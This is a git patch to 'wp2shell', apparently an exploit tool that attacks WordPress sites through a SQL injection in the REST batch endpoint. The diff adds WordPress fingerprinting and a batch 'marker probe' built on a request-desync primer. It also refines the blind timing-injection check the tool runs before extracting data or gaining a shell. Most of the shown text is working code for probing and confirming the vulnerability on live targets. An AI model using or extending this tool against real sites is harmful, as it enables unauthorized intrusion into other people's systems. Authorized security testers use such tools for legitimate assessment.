From acce9498d2788be3b46685f77d3385ef14f92a7a Mon Sep 17 00:00:00 2001 From: Icex0 <99045665+Icex0@users.noreply.github.com> Date: Sat, 18 Jul 2026 02:37:56 +0200 Subject: [PATCH] Check version first before sleep check --- README.md | 16 +++++++++++----- wp2shell/cli.py | 34 +++++++++++++++++++++++++--------- wp2shell/client.py | 36 ++++++++++++++++++++++++++++++++++++ wp2shell/version.py | 44 +++++++++++++++++++++++++------------------- 4 files changed, 97 insertions(+), 33 deletions(-) diff --git a/README.md b/README.md index e397559..7c4bcba 100644 --- a/README.md +++ b/README.md @@ -68,11 +68,17 @@ Or `pip install .` to get a `wp2shell` command on your `PATH`. ### check — confirm the vulnerability (safe) -Confirms exploitability with paired differential time delays. It reads no data and changes -nothing. By default it sends three baseline/delayed pairs and decides on the median delta, which -is more reliable on noisy or rate-limited targets than a single timing comparison. If timing -confirmation fails, `check` also looks for passive public WordPress version hints from the REST API -generator, the homepage generator meta tag, and core asset `?ver=` query strings. +Prints passive WordPress markers and public version hints first, then sends a benign batch marker +probe. If the batch route behaves like WordPress, the probe should return HTTP 207 with markers +such as `parse_path_failed`, `block_cannot_read`, or `rest_batch_not_allowed`. After that, `check` +tries a paired timing confirmation. The timing step reads no data and changes nothing. By default +it sends three baseline/delayed pairs and decides on the median delta, which is more reliable on +noisy or rate-limited targets than a single timing comparison. + +Treat the signals separately: an affected public version is strong triage evidence, while timing +confirmation proves the SQLi path reached the database. A WAF or edge rule can block the timing +payload, so a failed timing check is reported as "not timing-confirmed" rather than a clean bill of +health. ``` ./wp2shell.py check http://target diff --git a/wp2shell/cli.py b/wp2shell/cli.py index 69b65b4..9455366 100644 --- a/wp2shell/cli.py +++ b/wp2shell/cli.py @@ -11,7 +11,7 @@ from . import __version__ from .client import BatchClient from .shell import AdminSession from .sqli import BlindSQLi -from .version import public_version_hints, version_status +from .version import public_version_hints, version_status, wordpress_markers try: import readline # noqa: F401 - enables line editing/history for the interactive prompt @@ -69,11 +69,20 @@ def _short(text: str, *, limit: int = 96) -> str: return text[: limit - 3] + "..." -def _print_version_hints(client: BatchClient) -> None: +def _print_wordpress_markers(client: BatchClient) -> tuple: + markers = wordpress_markers(client) + if markers: + info(f"WordPress markers found ({' / '.join(markers)})") + else: + warn("No public WordPress markers found.") + return markers + + +def _print_version_hints(client: BatchClient) -> tuple: hints = public_version_hints(client) if not hints: warn("No public WordPress version hints found.") - return + return hints info("Public WordPress version hints:") for hint in hints: @@ -83,6 +92,7 @@ def _print_version_hints(client: BatchClient) -> None: ) if any(hint.affected for hint in hints): warn("A public version hint falls in the wp2shell affected range; verify internally or confirm with authorization.") + return hints # -- commands --------------------------------------------------------------- @@ -96,12 +106,18 @@ def cmd_check(args: argparse.Namespace) -> int: rest_route=args.rest_route, proxy=args.proxy, ) - probe = client.probe() + _print_wordpress_markers(client) + hints = _print_version_hints(client) + + probe = client.marker_probe() if probe.status != 207: bad(f"Batch endpoint returned HTTP {probe.status} (not 207) — patched or REST API disabled.") - _print_version_hints(client) return 1 - good("Batch endpoint reachable and unauthenticated (HTTP 207).") + markers = client.batch_marker_codes(probe) + if markers: + good(f"Batch probe -> HTTP 207; markers matched: {', '.join(markers)}") + else: + good("Batch endpoint reachable and unauthenticated (HTTP 207).") result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples) if args.samples > 1: @@ -112,10 +128,10 @@ def cmd_check(args: argparse.Namespace) -> int: info(f"Median delta {result.delta:.2f}s; threshold {result.threshold:.2f}s.") if result.confirmed: good(f"VULNERABLE — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.") - _print_version_hints(client) return 0 - bad(f"Not vulnerable — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.") - _print_version_hints(client) + bad(f"Not timing-confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.") + if any(hint.affected for hint in hints): + warn("Version suggests exposure, but the timing payload did not execute or was blocked.") return 2 diff --git a/wp2shell/client.py b/wp2shell/client.py index 54e82c0..94b9a81 100644 --- a/wp2shell/client.py +++ b/wp2shell/client.py @@ -16,6 +16,7 @@ from typing import Any, Optional # under the following sub-request's handler. Any parse_url()-rejecting string works; "///" is # used so it cannot be mistaken for a network target. _DESYNC_PRIMER = {"method": "POST", "path": "///"} +_BATCH_MARKER_CODES = ("parse_path_failed", "block_cannot_read", "rest_batch_not_allowed") class TargetError(Exception): @@ -97,6 +98,41 @@ class BatchClient: """A benign empty batch, used to test whether the endpoint is reachable and open.""" return self.post({"requests": []}) + def marker_probe(self) -> Response: + """A benign batch that should produce stable WordPress REST error markers.""" + return self.post( + { + "requests": [ + _DESYNC_PRIMER, + {"method": "POST", "path": "/wp/v2/block-renderer/core/archives"}, + {"method": "POST", "path": "/batch/v1", "body": {"requests": []}}, + ] + } + ) + + @staticmethod + def batch_marker_codes(response: Response) -> tuple: + try: + body = response.json() + except ValueError: + return () + + found = [] + + def walk(value) -> None: + if isinstance(value, dict): + code = value.get("code") + if code in _BATCH_MARKER_CODES and code not in found: + found.append(code) + for child in value.values(): + walk(child) + elif isinstance(value, list): + for child in value: + walk(child) + + walk(body) + return tuple(found) + def inject(self, author_not_in: str) -> Response: """Send a payload placing `author_not_in` into the WP_Query author__not_in clause.""" return self.post(self._payload(author_not_in)) diff --git a/wp2shell/version.py b/wp2shell/version.py index 4201ac9..9a13639 100644 --- a/wp2shell/version.py +++ b/wp2shell/version.py @@ -27,7 +27,6 @@ class _HomepageParser(HTMLParser): def __init__(self) -> None: super().__init__() self.meta_generators = [] - self.assets = [] def handle_starttag(self, tag: str, attrs: Iterable[Tuple[str, Optional[str]]]) -> None: values = {name.lower(): value for name, value in attrs if value is not None} @@ -35,11 +34,6 @@ class _HomepageParser(HTMLParser): content = values.get("content") if content: self.meta_generators.append(content) - return - if tag.lower() in ("link", "script"): - asset = values.get("href") or values.get("src") - if asset: - self.assets.append(asset) def public_version_hints(client: BatchClient) -> Tuple[VersionHint, ...]: @@ -84,12 +78,35 @@ def public_version_hints(client: BatchClient) -> Tuple[VersionHint, ...]: parser.feed(response.body) for generator in parser.meta_generators: add(_version_from_wordpress_text(generator), "HTML generator meta", generator) - for asset in parser.assets: - add(_version_from_core_asset(asset), "core asset query string", asset) return tuple(hints) +def wordpress_markers(client: BatchClient) -> Tuple[str, ...]: + markers = [] + + response = _get(client, "/") + if response is not None and response.status < 400: + if "wp-content/" in response.body and "wp-content" not in markers: + markers.append("wp-content") + if "wp-includes/" in response.body and "wp-includes" not in markers: + markers.append("wp-includes") + + for path in ("/wp-json/", "/?rest_route=/"): + response = _get(client, path) + if response is None or response.status >= 400: + continue + try: + body = response.json() + except json.JSONDecodeError: + body = None + if isinstance(body, dict) and ("routes" in body or "wp/v2" in response.body): + if "wp-json" not in markers: + markers.append("wp-json") + + return tuple(markers) + + def is_affected_version(version: str) -> bool: parsed = _parse_version(version) if parsed is None: @@ -124,17 +141,6 @@ def _version_from_wordpress_text(value: str) -> Optional[str]: return _normalize_version(match.group(1)) if match else None -def _version_from_core_asset(value: str) -> Optional[str]: - parsed = urllib.parse.urlparse(value) - if "/wp-includes/" not in parsed.path and "/wp-admin/" not in parsed.path: - return None - for version in urllib.parse.parse_qs(parsed.query).get("ver", []): - normalized = _normalize_version(version) - if normalized: - return normalized - return None - - def _normalize_version(value: str) -> Optional[str]: match = _VERSION_RE.search(value) return match.group(1) if match else None